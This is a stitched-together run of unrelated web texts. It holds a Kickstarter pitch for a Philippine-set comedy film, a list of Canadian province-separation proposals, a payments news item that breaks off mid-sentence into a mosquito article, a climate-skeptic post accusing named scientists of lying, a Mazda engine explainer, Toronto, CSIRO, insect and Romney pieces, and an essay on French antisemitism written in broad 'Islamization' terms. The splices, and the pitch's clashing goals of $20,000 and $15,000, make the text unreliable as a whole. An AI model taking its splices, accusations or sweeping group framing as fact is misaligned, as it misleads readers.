My name is Gerry Balasta, a filmmaker from New York. We are in the process of completing my second feature film, a hilarious movie called THE SOLAR CHAMPION! Our first film The Mountain Thief had won several awards and continues to have a successful and grow as more than a motion a picture as it touches lives.
THE SOLAR CHAMPION is the continuation of our work and this time in a narrative comedy and a documentary form. Acted by the talented actors of The Mountain Thief, this film is truly inspiring, funny and entertaining. It is truly a continuation of the changes that we have started.
is the continuation of our work and this time in a narrative comedy and a documentary form. Acted by the talented actors of The Mountain Thief, this film is truly inspiring, funny and entertaining. It is truly a continuation of the changes that we have started. One of the challenges of our time is getting Solar or renewable energy to the poorest communities. 1.3 Billion people in the world doesn't have access to electricity, and they use kerosene gas to light their home at night. Aside from health issues, it has an impact to our environment. THE SOLAR CHAMPION will join the discussion through the documentary part of the film.
We will find, highlight inventors, dreamers and "REAL LIFE SOLAR CHAMPIONS." Like Steve Katsaros, the American inventor of the "world's only rechargeable SOLAR BULB" and we would like to find the Brazilian from Sao Paolo, widely credited for the Brazilian Bottle Bulb and many more. We want to include their inspirational stories in the film, and the other inventors, dreamers and organizations who are all responding to the challenges of renewable energy and the children and people who benefits from it. When this film is done, we have a very "cool" TRANSMEDIA component to go with the advocacy, which can potentially make the impact of the film HUGELY SIGNIFICANT! We're very excited!
The Solar Bottle Bulb:
The Mountain Thief and The Solar Champion were acted by scavengers from a dumpsite community, children from the film got medical help,and a special needs child and the main actor, is now going to school. Through the film and its supporters, more children from the landfill will go to school this June 2012 on scholarships(6 total). I am proud to say that after working on it for more than five years, the film has become an agent of philanthropy as more change will happen. This is featured in both film.
FILM and ADVOCACY: Similar to our first film, we want to use The Solar Champion as an agent for our advocacy. We want to use the film as a platform in highlighting and promoting the urgency and impact of using renewable energy and, be part of the discussion and be one of the bridge to the solution in lighting a billion lives without access to electricity. We start with documenting solar bulbs on its nees and its positive impact. If you want to join our advocacy or be one of the producers or outreach partner please send us a message at The Solar Champion Page.
Join our efforts and adventure, help us finish this truly unique film and opportunity! PLEASE READ THE SIDE BAR as we have prepared a lot of perks and rewards, limited edition T-shirts, DVDs, CDs and other exceptional offers including THE NOKERO SOLAR BULB!!! The World's Only Solar Bulb (Below):
We are so so excited to get a chance to share this film to entertain and make people laugh and continue to make positive changes! Looking forward to hearing from you! Please join our Facebook Page (CLICK HERE), a place for a discussion, get updated and exchange ideas. Thank you!
All the best,
Gerry Balasta, Writer-Director and THE SOLAR CHAMPION TEAM
SYNOPSIS:
The CHAMPION FAMILY from HAPPYness VILLAGE, Manila tries to get the word out on Daddy Champion's (father) inventions. Most are ridiculous but one is a SOLAR BULB that will change their fate.
Their father, a 70 year old dreamer and a hopeless romantic who dreams of things that are impossible encourages his kids to follow their dreams and one project that they have is to find the "next" Manny Pacquiao, a prized fighter who just earned $25 million dollars from his last fight. The search begins as they navigate their way in life.
In the end they all find inspiration from their father and the least likely place they expected it, and that they didn't know it existed---from the prizefighter within themselves. The film ends in a documentary, where we discover and track the real lives of the actors of the film---They are the cast of THE MOUNTAIN THIEF from a landfill community. We will also feature inventors, dreamers and real life SOLAR CHAMPIONS!
HOW YOUR MONEY WILL HELP?
We will get the film out in film festivals and expected to have a cut of the film in time for festival submissions for an exciting 2013 film festival run!
Your support will help us finish the film and allow us to spread our comedy of hope and inspiration to the world. With such an incredibly important and universal story, It is crucial that it reaches the largest audience possible.
If you are able to contribute financially we have amazing incentives to the right. If you can spread the word about our Kickstarter campaign to your friends, on facebook and to strangers in the grocery store we would be eternally grateful!
Here’s a breakdown of how we plan to use the funds:
01. Pay for Film Music Rights (for world release)
02. Pay for Film Composition, Sound Design, Music Edits and Mix
03. Pay for editing Final Cut of the film
04. Pay for Subtitling Final Film in English
05. Pay for Editing various versions of the film, in different formats, HDCAM, Beta, Blue Ray etc... to share in as many different outlets as possible: Theatrical, Domestic Broadcast, International Broadcast
06. Pay for Editing Film Trailer
07. Pay to shoot additional footages for the documentary part at the end of the film. Shooting the lives of the actors and interviewing the real life SOLAR CHAMPIONS! and finding and including in the film visionaries and inventors of solar bulbs, the Brazilian bottle bulb, solar lamps and new innovations in renewable energy in India, Philippines and many more!
08. Build a "robust" website and make it a resource site for the advocacy of the film in renewable energy, energy poverty the environment and using film and the arts to make a direct impact on lives.
CAN WE EXCEED OUR GOAL?
We need $20,000 to do all of the above and we need to exceed our goal as the project continues to evolve and its call for action and scope is getting bigger. We want to make a film that will have a huge impact!
WHY DONATE?
THE SOLAR CHAMPION executes our mission and philosophy of "using films and the arts to make a direct impact on lives."
This film is unique in its feature, although it is a comedy in a narrative format, it is an independent film with an independent documentary nature and it also has a short documentary in the end. Making the film does not follow a capitalist model, which judges success by the dollars a product makes in the market place, but more of a NGO or non-profit model, which judges success by the number of people it reaches and the change it effects.
Because of the success of The Mountain Thief that we have slowly built (our blog chronicles)on since 2010 so far, we have the opportunity to have this film, a continuation of the process reach more worldwide. People will be very interested especially in this comedy form. However, the challenge is ours to raise funds to complete the film so it can get to the audiences that will and can actively watch it and use it as a tool to learn about how we are able to affect change, make a direct impact in our own little way and using films as a platform. In this case, through the direct impact to the lives of the actors involved in the film.
Moreover, a specialty film like this, not only production, but distribution is dependent on donations or state grants to fund the outreach to a broad audience. THE SOLAR CHAMPION is a classic ‘social issue’ film that can and will have a broad impact on communities everywhere if the funds can be found to do the work properly.
By supporting our work and this kickstarter campaign, you are supporting the artist, his work as well as the impact to lives beyond the film.
THE SOLAR CHAMPION IS A WINNER!
Most films that you might want to make a donation to are high risk propositions: will they even get finished and be any good, let alone be seen by more than the filmmaker’s friends and family?
The Solar Champion is one of those rare, no risk film, of which the precedent has already received acclaim, and has started a non-profit and movement. But needs your help to reach the larger world. Your donation will go to a project that once it makes it’s budget is guaranteed to touch lives and carry over what The Mountain Thief has started---as a tool for awareness and directly touching lives by inspiring people and the call for action. See your name in lights!
Through the supporters of THE MOUNTAIN THIEF, a non-profit in the US was formed called THE MOUNT HOPE PROJECT, Inc. An NGO called THE MOUNT HOPE INITIATIVE, Inc. was also formed in the Philippines. These are the organizations that are both independent of the film that has been executing the changes and the impact that our film has started.
HOW KICKSTARTER WORKS
Kickstarter is a new way to fund creative ideas and ambitious endeavors. Kickstarter is powered by a unique all-or-nothing funding method where projects must be fully-funded or no money changes hands. In other words, if we don’t raise our goal of $15,000, we lose everything. Once we have reached our goal we will contact you to get your address and then we will start working on getting those awesome incentives to you!
HOW TO PLEDGE
Just click the green “Back This Project” button in the upper right-hand corner. You will be asked to input your pledge amount and select a reward. From there, you will go through the Amazon checkout process. You must finish the Amazon checkout process for your pledge to be recorded.
WHAT IF WE DON’T REACH OUR GOAL?
If funding fails, all pledges are canceled and that's that. Your card is not charged, it’s like nothing ever happened. We hope this doesn’t happen! Those days will fly by, donate today!
CAN YOU DONATE IN ANOTHER’S NAME?
Of course! We will contact you once funding is complete to gather information so that we can get your incentives to you. Just let us know then the name you would like to donate under.
CAN YOU DONATE OUTSIDE OF THE UNITED STATES?
Yes and Yes! Just click on the Amazon Payment Button and you will see that you can pay with a credit card from any country! But you must finish the Amazon checkout process for your pledge to be recorded. If you have any problems just contact us.
WANT TO HELP BUT CAN’T DONATE?
Become an Outreach Partner. Spread the word about the film in your community and receive a special Outreach Partner credit on our website and the logo of your organization in the film. We’d love to discuss partnering with you, your organization, your community to help get the word out about the film. Please contact us and we’ll get the collaborative juices flowing!
And of course we need your help broadcasting the Kickstarter campaign. Facebook it. Tweet it. Sing it from the mountain tops.
INTERESTED IN PLAYING AN EVEN LARGER ROLE ON THE FILM?
There is a Co-Executive Producer credit available at $8,000, an Executive Producer credit at $10,000. Your name will appear in the credits for all US Festivals, multi-city US Theatrical, Some International And IMDB!
Please note that these are honorary titles and do not engender any creative or business involvement/decision-making nor does the credit entitle any claim of ownership.
Help us finish the film and GET YOUR LIMITED EDITION T- SHIRTS, printed by the actors!:
InspireCHANGE Films
Inspirechangefilms@gmail.com, FACEBOOK: Gerry Balasta, The Solar Champion, The Mountain ThiefArea Land Description
Acadia This province was promoted by the Parti Acadien and is similarly represented by the unrecognized state "Republic of Madawaska".[5] The Parti Acadien supported the creation of a new province consisting of the francophone parts of New Brunswick, in tandem with most Acadian Society of New Brunswick members.[5] The party went into the 1978 election with a platform of independence.[6] However, Richard Hatfield and the governing Progressive Conservatives also promoted a platform that promised to increase the role of the Acadian people and culture within the province.[5]
Labrador Labrador is the mainland portion of the province of Newfoundland and Labrador. The Labrador Party has campaigned on the platform of a separate province.[9] A similar campaign was held by locals in 2016 with a petition written to the MP on the federal level and the Labrador MHAs on the provincial level, based on claims that the provincial government has been inadequately funding for Labrador's amenities such as roads; in contrast with Newfoundland; while largely benefiting from its resources. Neither the federal nor provincial representatives have yet responded.
Nunatsiavut This is an area in northern Labrador, which is inhabited mainly by Inuit, many of whom wish to leave Newfoundland and Labrador and form a territory similar to Nunavut.[10] It was granted certain self-government powers on 1 December 2005, while remaining within the province.[11]
Quebec Province of Montreal It has been proposed to separate the city of Montreal, its metropolitan region or its English and non-Francophone regions into a separate province from Quebec. There have been several proposals of this nature from the mid-20th century onwards.[12] Around the time of the 1995 Quebec referendum on sovereignty, a self-named 'partition' movement flourished, advocating the separation of certain areas of Quebec, particularly the English-speaking areas such as Montreal's West Island, in the event of Quebec separation, with such areas remaining part of Canada.[13] This movement is no longer active.[13]
Nunavik This is Quebec's northernmost Inuit and First Nation territory, that is seeking a status similar to Nunatsiavut in Labrador.[14]
Kanienkehaka During the runup to the 1995 Quebec referendum, Mohawk leaders asserted a sovereign right to secede from Quebec if Quebec were to secede from Canada.[15] In the CBC Television documentary Breaking Point, the Quebec Premier at the time, Jacques Parizeau, said that had the referendum succeeded, he would have allowed the Mohawk communities to secede from Quebec, on the grounds that they had never given up their sovereign rights.[16]
Saguenay-Lac-Saint-Jean André Harvey, the former federal MP for Chicoutimi—Le-Fjord, was attributed with the idea of creating a new province encompassing the highly separatist area of Saguenay-Lac-Saint-Jean in Quebec, on the premise that it has a culture distinct from the rest of Quebec and already has its own flag.[17]
Northwestern Ontario In 2006, some residents of Northwestern Ontario proposed that the region secede from Ontario to join Manitoba, due to the perception that the government of Ontario does not pay sufficient attention to the region's issues. One paper in Canadian Public Policy suggested the region merge with Manitoba to form a new province called "Mantario."[26]
Province of Toronto Toronto is the largest city in Canada. Some have argued that the rest of Ontario benefits from Toronto more than the reverse.[27] Some activists have lobbied for a separate Province of Toronto. Former Toronto Mayor Mel Lastman, while in office, floated the idea because of what he perceived as the province's excessive draining of tax resources from Toronto without providing sufficient support for public services within the city.[27] In 2018, some activists revived the proposal again, after Ontario premier Doug Ford introduced legislation to cut the number of seats on Toronto City Council from 47 to 25 seats, months after the 2018 municipal election was already underway.[28]Coupa Payments launches today to automate global payments in partnership with Nvoicepay and eliminate paper from another aspect of spend
Procure-to-pay provider Coupa is marking the opening of its annual conference today with the launch of an automated global payment solution powered by partner Nvoicepay. Branded as Coupa Payments, the cloud-based service fully automates payment processes and enables all payments to be made electronically, including international payments in 140 currencies.
Nvoicepay claims that customers save on average 75% of the cost of paper-based payments when they switch to electronic payments using its software. Whereas traditional e-payment solutions from banks can only handle card-based payments |
odorant-binding proteins, which have specific sites that will catch or bind with certain chemicals in the air. Some scientists suggest that certain characteristics attract mosquitoes, thereby leading us to have more bites than others. Some of the top candidates: the amount of carbon dioxide in the breath, pregnancy, body temperature, alcohol and odorant markers based on blood type.
Blood-type markers are chemicals released by people of a specific blood type – so if someone with AB blood emitted a marker, it would be different than that released by B. One study found persons with Type O blood suffered more mosquito landings because of the odorant markers they emit than any other blood type, making their juices a hot commodity for blood banks, as well as Asian Tiger Mosquitoes, which carry West Nile Virus. Not only were Type O’s more likely to be landed on, but the study found that for any blood type, people who secreted a chemical marker about their blood type through their skin (both blood type and secretor status are determined by genes) were bitten much more than non-secretors; 24 percent in the case of the Type O’s. Other researchers estimate about 15 percent of the population, based on their genes, don’t emit chemical markers of their blood type through their skin and saliva, so something else has to be calling the mosquitoes to them.
Pregnancy seems to be a big winner for mosquito attraction, probably because mothers-to-be exhale 21 percent more carbon dioxide (quite a turn-on to the six-legged species) and are on average 1.26 degrees Fahrenheit warmer around the belly than their non-pregnant counterparts, due to the temperature of amniotic fluid. Also, having just 12 ounces of beer increases your mosquito appeal, possibly because of the increase in body temperature it causes or because skin markers change when metabolizing cocktails – unfortunate since outdoor drinking is a highlight of summer anywhere.
One researcher suggested smell is unimportant, and what really matters to the mosquito currently chomping on your toe is not the smells you’re giving off, rather it’s finishing her meal without being swatted away. Because of this, she’s better off attacking “less defensive” animals, rather than more defensive, and so is evolutionarily predisposed to biting lazy or incapacitated prey (reference drinking above).
Infectious disease experts are anxious to solve the mosquito preference puzzle so they can design repellants tailored to vulnerable people, which would either block an individual’s smell signatures or disarm a mosquito’s scent receptors. Unfortunately, a specific answer to your skin-piercing question continues to itch away at scientists, and I suggest stocking up on bug repellant in the meantime.Two words of the headline are a pun on Liebig’s law, something we covered in the context of another big lie: the “hockey stick”.
Steve McIntyre in a post last Saturday writes of Cook’s Fake Ethics Approval and has this hilarious exchange:
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The larger issue is, of course, the contradiction not faced by “climate communications” theorists e.g. Dan Kahan who are blind to the corrosiveness of misleading/deceptive statements by climate scientists and supporters on matters that can be verified (as in FOI disputes) on their expectations to be trusted on larger issues.
Nor is it easy to understand the purpose of some of these machinations. As I’ve said before, I took zero interest in Cook’s study (or in “skeptic” protests against it) as it seems evident to me that there is a “consensus” of climate scientists on many points. I believe that the strength of the “consensus” varies by proposition and that too often climate promoters will bait-and-switch from consensus on something relatively uncontroversial (e.g. GHG having some impact) to green solution fantasies, but that is a different story.
Nor do I think that there is some smoking gun in the rater ID data. So it’s hard to understand why Cook made such an issue of it. But we’ve seen very odd conduct from climate scientists: think of Cook and Lewandowsky on the SKS link, Jones on non-existent confidentiality agreements on data, Mann on excel spreadsheets, etc etc. On matters which can be understood and verified by non-clmate scientists, we’ve seen bizarre behaviour by prominent people in the field.
In drafting this post, I chatted briefly with Lucia about this seeming blindness. Lucia wrote (in her usual forceful style):
Yep. I don’t see how people can’t see that if UQ lies and climate scientists just seem to think that’s ok, then the public will see the climate scientists as likely to be lying on other things. We are seeing tons and tons and tons of “how to communicate” documents, but none seem to point out the obvious: We need to stop being caught lying. Oh… here’s a strategy to stop being caught: Don’t lie in the first place!
Both Cook and Lewandowsky were, of course, involved in a previous incident also involving lying: see here, a conclusion which Tom Curtis of SKS also reached in respect to Lewandowsky (see here) but not Cook, though, in my opinion, the evidence against Cook is overwhelming.
Full essay here: http://climateaudit.org/2014/07/26/cooks-fake-ethics-approval/
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Indeed, lying pretty much ensures a failure to communicate.
Back in the days before the Internet existed, few people could challenge the big lies of institutions and governments. Today, pretty much anyone with a bit of intelligence, courage, and persistence can take down such false claims.
As we saw in ClimateGate, emails between scientists don’t stay private, and as we saw in Brandon Shollenberger’s exposure of the Double-secret Skeptical Science TCP forums where they discuss ratings, they don’t stay private, and in the earlier exposure where SkS members photoshop themselves into Nazi uniforms, they act as if they embrace the original idea of the Big Lie itself by making themselves in that image.
It’s a sad commentary on Climate Science that we keep going through this pattern of claims, followed by challenges, followed by denials, then ending in confirmation that the claims and the denials were both bogus. One wonders if the rest of science will ever stand up and say “Enough! You are giving us all a bad image.”.
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RedditNerd Alert! Mazda’s Skyactiv-X Engine
As we are sure many of you have heard, the little car company that could, Mazda, has announced their Skyactiv-X engine with the technology to run Homogeneous Charge Compression Ignition (HCCI). Two major challenges to make HCCI work: timing of the combustion and smooth transition between HCCI and regular spark ignition. The HCCI combustion process has been researched for decades, but the technology to bring an engine using HCCI to market has been elusive until now.
So how did Mazda do it? We are going to take a few guesses, but as with most technologies, it didn’t happen overnight. In fact, we would say Mazda’s first big step was a few decades ago. The final piece of the puzzle is a technology Mazda has called Spark Controlled Compression Ignition (SPCCI), and we will get into how that ties into making HCCI work.
We think Mazda started this whole journey in the 1990s with their Miller Cycle engine that came in the Millenia. Of course we now have Skyactiv-G (gasoline) and Skyactiv-D (diesel), which were required steps before getting to the Skyactiv-X. The new Skyactiv-X engine promises the fuel efficiency of the Skyactiv-D with the emissions and fun Zoom-Zoom DNA of the Skyactiv-G.
This is a tech roadmap for Mazda’s Skyactiv engine program I found, which shows how all of their engine development has been leading to the Skyactiv-X and beyond. Mazda has been systematically attacking every area of inefficiency in the internal combustion engine.
Before we get into some history on Mazda’s engine development program, we need to gloss over the basics of internal combustion engines and how they get the fuel to burn. Basically every engine currently in production either runs on the Otto cycle using spark ignition or the Diesel cycle. Otto cycle engines use a spark plug to ignite the fuel whereas diesel uses the heat from compression (good ole Ideal Gas Law, chemistry class did come in handy). HCCI by definition can operate on many types of fuel, but we’re going to talk about HCCI with gasoline. HCCI also causes fuel to ignite and combust using the heat of compression, but differs from Diesel cycle due to the timing of the fuel injection. The timing of combustion in HCCI is where the major challenge lies.
In an Otto cycle/spark ignition engine, the fuel ignites when the spark plugs is fired. All those ignition timing tables in modern car ECUs tell the spark plug when to fire relative to crank angle. Old school is the good ole distributor cap. Diesel engines ignite the fuel when the fuel is injected into the cylinder; the air is sucked into the cylinder, compressed to a very high temperature by way of the high compression ratio of diesel engines, and the fuel ignites as soon as it’s sprayed into the cylinder and comes into contact with the hot compressed air. HCCI differs from Diesel cycle in the timing of the fuel injection; fuel is mixed with the air as the air enters the cylinder like Otto cycle and then the whole air/fuel mixture is compressed until it ignites. So basically it does exactly what a standard spark ignition engine tries to avoid, igniting the air/fuel mixture by heat of compression. The challenge is controlling when that ignition happens versus crank angle.
As you can see in this diagram I found online someplace, gas and diesel engines have a flame front that moves through the cylinder whereas HCCI has the mixture igniting everywhere in the cylinder.
Why all the hoopla over HCCI? It should have around the same efficiency as a diesel and the low emissions of a spark ignition gasoline engine. HCCI can have similar efficiency as a diesel because they both can operate with a very lean air:fuel ratio and require high compression ratios to increase the temperature of the mixture enough to ignite. If you recall our article in compression ratio you’ll remember a higher compression ratio leads to greater thermal efficiency. A gasoline engine must run a lower compression ratio to avoid the whole compression ignition phenomenon. Diesel and HCCI engines can also run with a lean air:fuel ratio whereas a gasoline engine needs to stay around stoich to minimize emissions; the 3-way catalyst on gas cars works best when the air:fuel ratio is stoich. To maintain stoich at low loads, gasoline engines limit air sucked into the engine using the throttle plate which creates pumping losses and reduced efficiency. Running lean is great for fuel efficiency but horrible for NOx emissions in diesel and spark ignition gasoline engines.Toronto Life this month is running a cover profile about the inner suburbs. The article sought to expose the divisions within our city, but it ended up depicting the inner suburbs as little more than a failed segment of our society, in need of saving:
“The downtown and inner suburbs,” according to the magazine, “are now like two worlds: one alive and optimistic, a promised land of gleaming, modern glass towers and four-star restaurants, the other spiraling into poverty.”
Featuring ten anecdotes about Torontonians across the inner suburbs who recount their lived experiences, the article proceeds to present a narrative of our city which typecasts the residents of the downtown core as the haves, and those of the inner suburbs as the have nots. In other words, it not only lumped the former municipalities of Etobicoke, Scarborough, East York, and North York into one general category; it also stigmatized all these neighbourhoods as low-income spaces grappling with gun violence, crumbling infrastructure and immigrant struggle.
Some of these stories offer cautionary tales about the personal impact that bad decisions or the precariousness of the menial end of the job market, can have. Others recount the trials and tribulations of building community in areas like Dixon, Jane/Finch, and Lawrence Heights – all areas plagued by gun violence.
While these stories should celebrate the resiliency of leaders in those communities, they instead depict the inner suburbs as helpless, victimized, and in need of charity.
We need to be mindful of how we frame these narratives since the language we choose evokes a particular framework. Those perspectives in turn shapes how we think about our city and the specific experiences of certain communities.
Arsema Berhane, one of the subjects of these stories, went on Twitter to lament the way her experiences were framed:
“This article and how it came to be is actually how #TorontoIsFaillingMe. At no point during the various conversations I had with the staff did they mention that the story I shared would be part of this series…The response to the murder of my beloved brother was an outpouring of love, support, and random acts of kindness from across the city. At no point did we feel that Toronto failed us!”
While I laud Toronto Life for taking an interest in the plight of those who live across the subway track, the magazine told the story in a way that feeds directly into the familiar media narrative about the inner suburbs, and which Toronto Life claimed it wanted to avoid: vertical poverty, under-resourced schools, immigrant struggle and gang warfare.
Is Toronto responsible for the over-crowded schools that resulted from Mike Harris era cuts to education, and which have yet to be replenished by the Liberal government? Did Toronto fail to ensure the safety of these neighbourhoods, or are gangs a symptom of the high youth unemployment? Who is failing whom?
The problem that I have with this feature is twofold: First, it paints a singular narrative of the inner suburbs, and provides insufficient analysis as to why things are the way they are. Second, it is unjustifiably alarmist:
“If the issues of neighbourhoods like Dixon aren’t addressed now,” the article states, “they could escalate into a situation like the Ferguson riots. No one will give you a better reason to work toward One Toronto than that.”
Is Toronto Life saying we should ‘fix’ the inner suburbs in order to avoid social unrest? This kind of alarmist rhetoric merely undermines the capacity of the inner suburbs. Rather, we should seek to remedy inequitable access to opportunity and mobility within our city because people deserve better regardless of their social status, income, and neighbourhood, not out of fear of what they may do, if we don’t.
We need to stop talking about Toronto’s inner suburbs as if they were monolithic and interchangeable. The neighbourhoods in these former municipalities are as economically diverse and disparate in lived experiences as those in any other city.
The inner suburbs, just like the downtown core, are complex spaces comprised of countless overlapping stories. For example, Rexdale is often portrayed as a community plagued by gun violence and poverty. But it is a diverse area that encompasses neighbourhoods such as Smithfield, which has one of the largest concentrations of subsidized housing in Toronto, as well the historic village of Thistletown, which is comprised of cottages built in the early 1900s and the post-war bungalows of The Elms.
The danger of the single story, as novelist Chimamanda Adichie wrote, is that “they show a people as one thing, as only one thing, over and over again and that is what they become.” The singular narrative of Toronto’s inner suburbs, as places plagued by violence and poverty, is one that risks critical misunderstanding.
photo by Sean Marshall$111m four-year budget cut to science agency will entail redundancies of nearly 20% of workforce over two years
Funding cuts to the CSIRO are driven by “pure ignorance” and will result in significant damage to Australia’s economy, the organisation’s staff body has claimed.
On Thursday hundreds of CSIRO workers took part in a national day of protest against the government’s decision to cut the national science agency’s budget by $111m over four years.
The CSIRO staff association said the organisation is set to suffer an “unprecedented” round of redundancies – nearly 20% of the workforce would depart over two years.
These redundancies comprise 700 people in 2014-15, made up of direct job losses and an organisational restructure. A further 80 jobs are forecast to be lost in 2015-16.
CSIRO workers predict the public will be aghast at the programs that will be lost as a result of the cuts, including research into neuroscience and colorectal cancer, water safety and advanced manufacturing.
The CSIRO has already moved to close eight research sites across the country. Research areas such as climate change moved to different premises to save funds.
A senior scientist within the CSIRO told Guardian Australia the organisation had been “crippled” by uncertainty over job cuts. “Everyone is holding their breath to see where the axe will fall,” he said.
The CSIRO staff association said the cuts would have a detrimental impact in several areas.
“When you look at the areas which will be cut, the anger and disbelief only increases,” Dr Michael Borgas, acting secretary of the staff association, told Guardian Australia. “Why would you cut research into water resources or climate at a time like this?
“There is also work into manufacturing opportunities which we need to invest more – not less – in if we are to create jobs and diversify the economy. Cutting in this area will hurt the economy in the long term.”
Borgas said the cuts were the result of the government’s “pure ignorance” over the value of science.
“These cuts are very large and we don’t think there is an informed debate over the value of science,” he said. “There is simply no rational basis for cutting the range of science areas we are currently seeing. We are really disturbed to see the commentary the government has come out with, a lot of spin about money for Antarctica but no accountability.
“We don’t even know who we have to influence because there is no minister. Should it be [industry minister] Ian Macfarlane or [finance minister] Mathias Cormann? The lack of transparency and accountability is disturbing.
“We hope we can start a conversation about the value of science because there is a deep ignorance we need to address. The public is generally supportive of science, but if you look at areas like the Murdoch press there are some anti-science characteristics.”
The government, which insists budget savings must be made across the board to reduce debt, has previously rebuffed suggestions that it is anti-science.
In a speech made last year, the prime minister, Tony Abbott, said science was “absolutely critical” for the progress of humanity and downplayed the fact he didn’t appoint a science minister by stating: “Please, judge us by our performance, not by our titles.”Researchers to an expedition to the rainforest in the Southern Peruvian Amazon have spotted, what appears to be a mysterious new cocoon. The cocoon is unlike anything biologists have seen upon before, strongly suggesting a hitherto undiscovered new species.
The exotic cocoon features a central spire, like a maypole, encircled by a picket fence that's been reinforced by horizontal rails. The entire structure – tent and fence – is strung together by a series of radially oriented wires. Resembling Harold "Doc" Edgerton’s famous milk drop, the structure measures less than 2 cm across.
Whatever is hatching, appears to be located inside the tent and fence is there to protect the cocoon from predatory crawlers, such as ants.
Troy Alexander from Rainforest Expedition who spotted this the bizarre creation posted a photograph of his discovery to /r/whatsthisbug, a subreddit devoted to identifying insects and their handiwork.
"I posted one of these once before and got no answers, but at the time I'd only seen one and suggested that it might be an aborted start of a urodid moth cocoon," he wrote. "I subsequently saw a few more, and they always looked like this, and no more. I assume there are eggs in the base of the maypole in the middle of the horse corral, though it might be something pupating. Please, any ideas?"
“I've shared this with several entomologists now without a certain ID. My favorite theory: there are spider eggs in the base of the pole, and the spiderlings climb the pole and sail away on silken parachutes, protected by the fence the whole time.”
via Why Evolution is True and iO9Although Mitt Romney’s determination to campaign for president on his record as a businessman has led both his supporters and his detractors to suggest that if elected, he would attempt to run the country like a business, Romney’s own understanding of the presidential role has never been entirely clear,
He may, however, have accidentally let his beliefs slip out at a campaign event in Florida on Friday, when he referred to the United States as a “company.”
“[Obama] didn’t know what it takes to actually make the economy work,” Romney told his audience. “Paul Ryan and I understand how the economy works, we understand how Washington works, we will reach across the aisle and find good people who like us, want to make sure this company deals with its challenges. We’ll get America on track again.”
Romney hesitated slightly after the word “company,” as if he was vaguely aware he might have used the wrong word, but then plowed on without correcting himself.
The gaffe quickly drew criticism from the left.
“The goal of a company is to make money,” ThinkProgress observed,
“whereas the goal of a government is to provide services that are not achievable in the private sector. Romney’s belief that the government is similar to a company explains his dedication to cutting programs that he perceives are ‘inefficient’ because they cost money, even if they effectively help American citizens.”
And diarist TomP at Daily Kos remarked even more sharply, “People don’t sacrifice for a company. They don’t volunteer and maybe die in a war for a company, at least not knowingly. … Corporations may be people, Mitt, and you may be a corporation, but the United States of America is no ‘company.’ We are a nation of people who share common ideals of freedom, equality, liberty and decency that NO Company can.”
This video was uploaded to YouTube by isancold on August 31, 2012.France's suburbs are rapidly becoming apartheid societies. Hatred of Jews has become the gateway to "la France soumise" -- the submission of France.
While Jewish symbols disappear from France, Islamic symbols proliferate, from burkinis on the beaches to veils in the workplace. Jews who have not fled France are trying to become "invisible".
Suburbs have become transformed into one of the most visible signs of the Islamization of France. Anti-Semitism is devouring the French Republic.
Suburbs ("banlieues") -- distant from the affluent boulevards and bistros of Paris -- form the "other France". They are the "peripheral France", ("La France Périphérique") as the geographer Christophe Guilluy calls them in an important book. They are where "living together" between communities has really been tested.
In the last 20 years, these French suburbs have not only become "concentrations of poverty and social isolation", but have gone from being some of France's most densely-populated Jewish areas to "lost territories of the Republic", according to the great historian Georges Bensoussan, in his book, Les territoires perdus de la République.
These suburbs have become transformed into one of the most visible signs of the Islamization of France.
Anti-Semitism has returned as one of Europe's worst diseases. France hosts Europe's largest Jewish community, and Jews have been fleeing the suburbs to either emigrate or move to gentrified districts of the cities, where they feel more protected. What happens to the Jews will have a seismic impact on the entire continent.
In the Parisian suburb of Bagneux, someone recently vandalized the memorial plaque for Ilan Halimi, a young Jew who was kidnapped, tortured and murdered by a "barbarian gang" in 2006, just for being a Jew. At the time, it was France's first case of murderous anti-Semitism in many years. After it, Islamists murdered Jews at a school in Toulouse and a kosher supermarket in Paris.
As Le Monde reported in a chilling new inquiry, anti-Semitism now knocks daily at the doors of the French Jews. It has been creating a serious migratory trend: French Jews have become "internal refugees".
French Jews are now not only threatened in their synagogues and schools, but in their homes. A Jewish family was recently held hostage, beaten and robbed in their home in the suburb of Seine Saint-Denis. Before that, a retired Jewish doctor and schoolteacher, Sarah Halimi, was beaten and thrown to her death from her balcony, in the Belleville district of Paris. The man who murdered her, while yelling "Allahu Akbar" ("Allah is Greater"), was a Muslim neighbor. Two Jewish brothers were recently attacked on a Paris street by men wielding a hacksaw and shouting "You dirty Jews! You are going to die".
Recently, "Paul" received a letter containing death threats, in his mailbox at Noisy-le-Grand. The note said, "Allahu Akbar" and contained a 9mm bullet. The next day brought second letter. That one said, "you will all die". This time it contained the bullet of a Kalashnikov rifle. Many Jewish families, warns Le Monde, are under pressure. In Garges-lès-Gonesse (Val-d'Oise), young Jewish men who had built a temporary autumnal hut (a sukkah) in the yard of their synagogue were attacked in the neighborhood by people shouting, "Dirty Jews".
Historic Jewish quarters have been emptied. Jérôme Fourquet and Sylvain Manternach, in their book, "L'an prochain à Jérusalem?" ("Next Year in Jerusalem?") tell of Jewish children leaving public schools in favor of private ones. Organizations have been helping 400 Jewish families relocate their children into private schools, to be more secure.
Between 2005-2015, there were 4,092 anti-Semitic attacks in France. According to a September study by the Foundation for Political Innovation, 60% of Jews in France said they were "worried about being physically attacked in the street as Jews."
After the Paris terror attacks in 2015, a Jewish Agency-affiliated think tank prepared a plan to help 120,000 French Jews emigrate to Israel. There were 5,000 departures in 2016 and 7,900 in 2015. In addition to a total of 20,000 Jews emigrating from France to Israel in the past three years, there has also been an internal "high mobility" shift, from the eastern to the western part of Paris -- to the sixteenth and seventeenth arrondissements. In the last 10 years, "60,000 of the 350,000 Jews of the Île-de-France have moved", according to Sammy Ghozlan, President of the National Office of Vigilance against Anti-Semitism.
The French government has launched an operation to protect 800 synagogues, schools and community centers. But as Le Monde explains, there is little it can do to protect Jews on the streets and in their homes. Islamic anti-Semitism is devouring the French Republic.
Pictured: French soldiers guard a Jewish school in Paris. (Photo by Jeff J Mitchell/Getty Images)
According to a study conducted by Ifop, "exposure to anti-Semitic violence is highly correlated with wearing a kippa". The Jewish skullcap has disappeared from public view in many areas of France. In Marseille, it was explicit -- a local Jewish leader called on Jews, for their safety, to avoid wearing the Jewish symbols in public. While Jewish symbols disappear, Islamic symbols proliferate, from burkinis on the beaches to the veils at the workplace. Jews who did not flee France are trying to become "invisible".
Until the year 2000, the Parisian suburb of Bondy "was nice and quiet, with 250 to 300 Jewish families, and synagogues full on the Sabbath. Now, only about a hundred Jewish families remain", said a local resident, Alain Benhamou, who left after he saw the words "dirty Jews" painted on the walls.
